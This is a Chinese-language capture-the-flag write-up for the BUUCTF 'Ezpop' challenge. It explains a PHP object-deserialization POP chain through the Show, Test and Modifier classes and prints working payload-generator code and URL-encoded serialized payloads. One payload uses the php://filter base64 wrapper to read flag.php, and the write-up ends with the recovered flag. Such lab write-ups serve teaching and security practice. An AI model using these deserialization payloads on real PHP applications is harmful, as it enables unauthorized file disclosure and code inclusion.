BUUCTF——Ezpop

进入靶场

给了php代码

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这段代码展示了一个典型的PHP反序列化漏洞利用场景，通过精心构造的序列化数据可以实现文件包含和任意代码执行。

代码结构分析

代码包含三个类：

1. Modifier类：
   • 包含一个受保护的属性$var
   • 有append()方法，可以包含任意文件
   • 当对象被当作函数调用时(__invoke)，会执行append($this->var)
2. Show类：
   • 包含$source和$str属性
   • 有__toString()魔术方法，当对象被当作字符串时会返回$this->str->source
   • 有__wakeup()魔术方法，在反序列化时执行，对$source进行过滤
3. Test类：
   • 包含$p属性
   • 有__get()魔术方法，当访问不存在的属性时，会将$p作为函数调用

构造payload

<?php
class Modifier {
    protected $var = "flag.php";
}

class Show {
    public $source;
    public $str;
}

class Test {
    public $p;
}

$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;

$show1 = new Show();
$show1->str = $test;

$show2 = new Show();
$show2->source = $show1;

echo urlencode(serialize($show2));
?>

将生成的序列化代码在url中传给?pop

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

没拿到

再用伪协议base64输出一下看看

构造payload

<?php
class Modifier {
    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show {
    public $source;
    public $str;
}

class Test {
    public $p;
}

$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;

$show1 = new Show();
$show1->str = $test;

$show2 = new Show();
$show2->source = $show1;

echo urlencode(serialize($show2));
?>

拿到base64编码

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2M0ZmViNWFmLTZiOTgtNGQ1Ni04MWFmLWNhZTJjNDVhZGNjM30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解码看看

<?php
class Flag{
    private $flag= "flag{c4feb5af-6b98-4d56-81af-cae2c45adcc3}";
}
echo "Help Me Find FLAG!";
?>

拿到flag

flag{c4feb5af-6b98-4d56-81af-cae2c45adcc3}

下播！！！！！